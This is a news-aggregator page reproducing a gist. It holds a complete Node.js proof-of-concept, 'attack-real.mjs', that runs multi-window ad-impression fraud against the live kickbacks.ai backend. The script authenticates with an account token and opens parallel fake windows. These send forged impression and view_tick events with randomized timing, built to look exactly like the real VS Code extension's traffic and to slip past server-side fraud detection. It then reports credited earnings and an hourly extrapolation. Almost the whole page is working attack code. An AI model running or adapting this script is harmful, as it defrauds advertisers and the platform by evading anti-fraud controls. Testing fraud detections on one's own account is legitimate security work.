cd /news/ai-products/kickbacks-ai-realistic-multi-window-… Β· home β€Ί topics β€Ί ai-products β€Ί article
[ARTICLE Β· art-24965] src=gist.github.com pub= topic=ai-products verified=true sentiment=Β· neutral

kickbacks.ai realistic multi-window saturation test (impression-integrity PoC)

A developer has published a proof-of-concept attack script that tests whether the kickbacks.ai backend can detect multi-window saturation fraud. The script, called "attack-real.mjs," spawns parallel windows that emit event sequences byte-for-byte indistinguishable from the real VS Code extension's traffic, including realistic timing patterns with jitter, variable ad durations, and enforced rest cycles. The test requires explicit opt-in and authenticates with a live account token to probe server-side detections like per-account aggregate checks, duty-cycle heuristics, and concurrency limits.

read11 min publishedJun 11, 2026

| // Massed, realistic-timing, parallel fraud test against the REAL kickbacks backend. | | | // | | | // This tests whether new server-side detections (per-account aggregate checks, | | | // duty-cycle heuristics, concurrency limits, etc.) can stop a multi-window | | | // saturation attack that is byte-for-byte indistinguishable from the real | | | // VS Code extension's traffic. | | | // | | | // What it does: | | | // * Authenticates as YOUR account via KICKBACKS_TOKEN (from signin.mjs or | | | // signin-email.mjs). | | | // * Pulls the live ad portfolio to learn queue depth K + session_tokens. | | | // * Spawns K parallel "windows" β€” one per ad β€” each emitting the exact event | | | // sequence the real extension uses, with realistic choppy cadence. | | | // * Tracks credited events vs. rejected/throttled/capped in real time. | | | // | | | // Realism (faithful to cliTick.ts / statusBarAd.ts / portfolio/client.ts): | | | // * Shows are SHORT and irregular β€” mostly <5s (zero view_ticks), some | | | // medium, rare long β€” not a metronome. | | | // * view_tick intervals have positive jitter (>= 5000ms), never early. | | | // * visible_ms on view_tick is true accrued wall-clock time, not fabricated. | | | // * impression_viewable closes a show with an ODD duration, never a clean | | | // multiple of 5000. | | | // * Gaps between shows mimic think β†’ idle transitions. | | | // * Surfaces alternate (statusbar / statusline) across windows. | | | // * A 60s continuous show cap + 20s rest cycle is enforced per window. | | | // | | | // Requires explicit opt-in so it can never run by accident: | | | // export KICKBACKS_TOKEN='...' | | | // node attack-real.mjs --yes-i-own-this-account | | | // | | | // Environment: | | | // KICKBACKS_TOKEN bearer token (required) | | | // KICKBACKS_BASE backend base URL (default: live) | | | // DURATION_MS test duration in ms (default 120_000 = 2 min) | | | // KICKBACKS_WINDOW_COUNT window count (default 4) | | | // KICKBACKS_QUIET "1" to suppress per-event logging | | | import { randomUUID } from "node:crypto"; | | | // ── safety: explicit opt-in ───────────────────────────────────────────────── | |

| if (!process.argv.includes("--yes-i-own-this-account")) { | |
| console.error("refusing to run without --yes-i-own-this-account"); | |
| process.exit(2); | |

| } | | | const TOKEN = process.env.KICKBACKS_TOKEN; | | | if (!TOKEN) { console.error("set KICKBACKS_TOKEN (run signin.mjs or signin-email.mjs first)"); process.exit(2); } | | | const BASE = process.env.KICKBACKS_BASE | | | || "https://kickbacks-backend-gmdaqm2c7q-uw.a.run.app"; | | | const CC_VERSION = process.env.KICKBACKS_CC_VERSION || "2.1.173"; | | | const EXT_VERSION = process.env.KICKBACKS_EXT_VERSION || "0.4.0"; | | | const DURATION_MS = Number(process.env.DURATION_MS || 120_000); | | | const FORCED_K = process.env.KICKBACKS_WINDOW_COUNT | |

| ? Number(process.env.KICKBACKS_WINDOW_COUNT) : 4; | |
| const QUIET = process.env.KICKBACKS_QUIET === "1"; | |
| const CLIENT_ID = `install-${randomUUID().slice(0, 4)}`; | |

| // ── faithful constants (cliTick.ts / statusBarAd.ts) ───────────────────────── | |

| const POLL_MS = 1_000; | |
| const VIEW_TICK_MS = 5_000; | |
| const FRESH_ACTIVITY_MS = 4_000; | |

| const VISIBLE_GAP_CAP_MS = 2_000; // suspend clamp per poll tick | | | const AD_SHOW_MAX_MS = 60_000; // max continuous show | | | const AD_REST_MS = 20_000; // rest after hitting max | |

| const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); | |
| const tickGap = () => VIEW_TICK_MS + Math.random() * 800; // always >= 5000ms | |

| // ── helpers ───────────────────────────────────────────────────────────────── | |

| const authed = (extra = {}) => ({ authorization: `Bearer ${TOKEN}`, ...extra }); | |
| async function getPortfolio() { | |
| const r = await fetch(`${BASE}/v1/portfolio?claude_code_version=${CC_VERSION}`, { | |
| headers: authed(), | |
| }); | |
| if (!r.ok) throw new Error(`portfolio HTTP ${r.status}`); | |
| return r.json(); | |

| } | |

| async function getEarnings() { | |
| const r = await fetch(`${BASE}/v1/earnings`, { headers: authed() }); | |
| if (!r.ok) return null; | |
| return r.json(); | |

| } | |

| async function fireEvent(ad, type, { visibleMs, surface = "statusbar" } = {}) { | |
| const body = { | |

| event_type: type, | | | ad_id: ad.ad_id, | | | campaign_id: ad.campaign_id, | | | client_id: CLIENT_ID, | | | ts: new Date().toISOString(), | | | claude_code_version: CC_VERSION, | | | extension_version: EXT_VERSION, | | | nonce: randomUUID(), | | | surface, | | | ...(visibleMs != null | | | ? { | | | visible_ms: Math.round(visibleMs), | | | view_pct: 100, | | | viewable: true, | | | } | | | : {}), | | | session_token: ad.session_token, | |

| }; | |
| const t0 = performance.now(); | |
| const r = await fetch(`${BASE}/v1/metrics`, { | |

| method: "POST", | |

| headers: authed({ "content-type": "application/json" }), | |
| body: JSON.stringify(body), | |
| }); | |
| const latency = performance.now() - t0; | |

| let j; | |

| try { j = await r.json(); } catch { j = {}; } | |
| const didCredit = !!j.credited; | |
| const reason = j.reason || (r.ok ? "ok" : `HTTP_${r.status}`); | |
| if (!QUIET) { | |
| const tag = didCredit ? "CREDITED" : reason; | |

| console.log( | |

| ` [${surface}] ${type.padEnd(20)} ad=${ad.ad_id.padEnd(10)} ` + | |
| `ms=${String(body.visible_ms ?? "β€”").padStart(6)} ` + | |
| `lat=${latency.toFixed(0)}ms ${tag}` | |
| ); | |

| } | | | return { didCredit, reason, latency, status: r.status }; | | | } | | | // ── realistic show-length distribution ─────────────────────────────────────── | |

| function sampleShowLen() { | |
| const r = Math.random(); | |
| if (r < 0.55) return 400 + Math.random() * 4_000; // <5s => 0 view_ticks | |
| if (r < 0.88) return 5_000 + Math.random() * 18_000; // medium | |
| return 20_000 + Math.random() * 35_000; // long (will hit cap) | |

| } | | | // ── one "window" pinned to one ad ──────────────────────────────────────────── | | | async function runWindow(ad, surface, deadline, counters) { | |

| let showCount = 0; | |
| while (Date.now() < deadline) { | |
| const showLen = sampleShowLen(); | |
| const showStart = Date.now(); | |

| const showDeadline = showStart + showLen; | | | // continuous-show cap: if this show exceeds 60s, cut at 60s then rest 20s | | | const effectiveShowMax = Math.min(showDeadline, showStart + AD_SHOW_MAX_MS); | | | await fireEvent(ad, "impression_rendered", { surface }); | | | counters.rendered++; | |

| let lastTick = showStart; | |
| let nextGap = tickGap(); | |
| let accruedMs = 0; | |
| while (Date.now() < effectiveShowMax && Date.now() < deadline) { | |
| await sleep(180); // ~ the 1s poll, finer grain | |
| const now = Date.now(); | |
| const delta = now - lastTick; | |

| // simulate the VISIBLE_GAP_CAP_MS clamp the real client applies | |

| const cappedDelta = Math.min(delta, VISIBLE_GAP_CAP_MS); | |
| accruedMs += cappedDelta; | |
| lastTick = now; | |
| if (now - showStart >= nextGap) { | |
| const res = await fireEvent(ad, "view_tick", { surface, visibleMs: accruedMs }); | |

| counters.viewTick++; | |

| if (res.didCredit) counters.credited++; | |
| if (!res.didCredit) counters.rejected++; | |
| if (res.reason && res.reason !== "credited" && res.reason !== "ok") { | |
| counters.reasons[res.reason] = (counters.reasons[res.reason] || 0) + 1; | |

| } | | | nextGap += tickGap(); | | | } | | | } | | | const actualShowMs = Date.now() - showStart; | | | const res = await fireEvent(ad, "impression_viewable", { | | | surface, | | | visibleMs: actualShowMs, | | | }); | | | counters.viewable++; | |

| if (res.didCredit) counters.credited++; | |
| if (!res.didCredit) counters.rejected++; | |
| if (res.reason && res.reason !== "credited" && res.reason !== "ok") { | |
| counters.reasons[res.reason] = (counters.reasons[res.reason] || 0) + 1; | |

| } | | | showCount++; | | | // if we hit the 60s cap, enforce the 20s rest | |

| const hitCap = actualShowMs >= AD_SHOW_MAX_MS - 500; | |
| if (hitCap) { | |
| const restUntil = Date.now() + AD_REST_MS; | |
| while (Date.now() < restUntil && Date.now() < deadline) await sleep(200); | |
| } else { | |
| // normal think -> idle gap | |
| const idleMs = 800 + Math.random() * 3_200; | |
| const idleUntil = Date.now() + idleMs; | |
| while (Date.now() < idleUntil && Date.now() < deadline) await sleep(200); | |

| } | | | } | | | counters.shows += showCount; | | | } | | | // ── main ───────────────────────────────────────────────────────────────────── | |

| async function main() { | |
| console.log(`\n[attack-real] base = ${BASE}`); | |
| console.log(`[attack-real] duration = ${DURATION_MS}ms client_id = ${CLIENT_ID}`); | |
| const before = await getEarnings(); | |
| if (!before) { console.error("[attack-real] could not read earnings β€” is the token valid?"); process.exit(1); } | |
| console.log(`[attack-real] before lifetime=$${before.lifetime_usd} today=$${before.today_usd}\n`); | |
| const portfolio = await getPortfolio(); | |
| const ads = portfolio.ads || []; | |
| if (!ads.length) { console.error("[attack-real] empty portfolio"); process.exit(1); } | |
| const K = FORCED_K ?? ads.length; | |
| const windows = ads.slice(0, K); | |
| console.log(`[attack-real] queue depth K = ${ads.length} windows = ${K}`); | |
| console.log(`[attack-real] ads = [${windows.map((a) => a.ad_id).join(", ")}]\n`); | |
| const counters = { | |
| rendered: 0, viewTick: 0, viewable: 0, | |
| credited: 0, rejected: 0, shows: 0, reasons: {}, | |
| }; | |
| const deadline = Date.now() + DURATION_MS; | |
| const startWall = Date.now(); | |
| console.log("[attack-real] firing windows … (Ctrl-C to abort)\n"); | |

| // run all windows concurrently on the SAME account | | | await Promise.all( | | | windows.map((ad, i) => | | | runWindow(ad, i % 2 ? "statusline" : "statusbar", deadline, counters) | | | ) | |

| ); | |
| const wallElapsed = Date.now() - startWall; | |

| // settle + final earnings | |

| console.log("\n[attack-real] polling earnings to let async credits settle …"); | |
| let after = before; | |
| for (let i = 0; i < 6; i++) { | |
| await sleep(2_000); | |
| const e = await getEarnings(); | |
| if (e) after = e; | |

| } | | | const lifetimeDelta = | | | parseFloat(after.lifetime_usd || "0") - parseFloat(before.lifetime_usd || "0"); | | | const todayDelta = | | | parseFloat(after.today_usd || "0") - parseFloat(before.today_usd || "0"); | | | const eventTotal = counters.rendered + counters.viewTick + counters.viewable; | | | const creditRate = counters.credited / Math.max(1, wallElapsed / 1000); | | | const estimatedPerHour = lifetimeDelta / Math.max(1, wallElapsed / 3_600_000); | |

| console.log("\n" + "═".repeat(72)); | |
| console.log(" RESULTS"); | |
| console.log("═".repeat(72)); | |
| console.log(` wall-clock elapsed : ${(wallElapsed / 1000).toFixed(1)}s`); | |
| console.log(` events sent : ${eventTotal}`); | |
| console.log(` impression_rendered : ${counters.rendered}`); | |
| console.log(` view_tick : ${counters.viewTick}`); | |
| console.log(` impression_viewable : ${counters.viewable}`); | |
| console.log(` shows completed : ${counters.shows}`); | |
| console.log(` credited events : ${counters.credited}`); | |
| console.log(` rejected/ignored : ${counters.rejected}`); | |
| console.log(` credit rate : ${creditRate.toFixed(2)} events/sec`); | |

| console.log( ──────────────────────────────────────────────────────────────────────); | |

| console.log(` lifetime before : $${before.lifetime_usd}`); | |
| console.log(` lifetime after : $${after.lifetime_usd}`); | |
| console.log(` lifetime Ξ” : $${lifetimeDelta.toFixed(6)}`); | |
| console.log(` today Ξ” : $${todayDelta.toFixed(6)}`); | |
| console.log(` extrapolated /hour : ~$${estimatedPerHour.toFixed(4)}`); | |

| console.log(" ──────────────────────────────────────────────────────────────────────"); | |

| if (Object.keys(counters.reasons).length) { | |
| console.log(" rejection reasons:"); | |
| for (const [reason, count] of Object.entries(counters.reasons).sort((a, b) => b[1] - a[1])) { | |
| console.log(` ${reason.padEnd(18)} : ${count}`); | |

| } | | | } | | | // verdict | |

| const pass = counters.credited > 0; | |
| const throttled = (counters.reasons.cooldown || 0) > 0; | |
| const capped = (counters.reasons.daily_cap || 0) > 0; | |

| console.log(" ──────────────────────────────────────────────────────────────────────"); | |

| if (capped) { | |
| console.log(" VERDICT: DAILY CAP hit β€” the economic brake is engaged."); | |
| } else if (throttled && counters.credited > 0) { | |
| console.log(" VERDICT: COOLDOWN active but credits still flow (expected behavior)."); | |
| } else if (!throttled && !capped && counters.rejected > 0) { | |

| console.log(" VERDICT: events were REJECTED with no cooldown/cap β€” a new detection may be active."); | | | } else if (pass) { | | | console.log(" VERDICT: CREDITS FLOW β€” no new detection blocked the attack."); | | | } else { | | | console.log(" VERDICT: ZERO credits β€” either cooldown saturation or a new block."); | | | } | |

| console.log("═".repeat(72) + "\n"); | |
| process.exit(pass ? 0 : 1); | |

| } | | | main().catch((e) => { console.error(e); process.exit(1); }); |

── more in #ai-products 4 stories Β· sorted by recency
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain β€” perfect for shipping the agent you just read about.

$git push zahid main
β†’ Live at https://your-agent.zahid.host βœ“
Get free account β†’ Pricing
from €0/mo Β· no card required
LIVE [news/kickbacks-ai-realist…] indexed:0 read:11min 2026-06-11 Β· β€”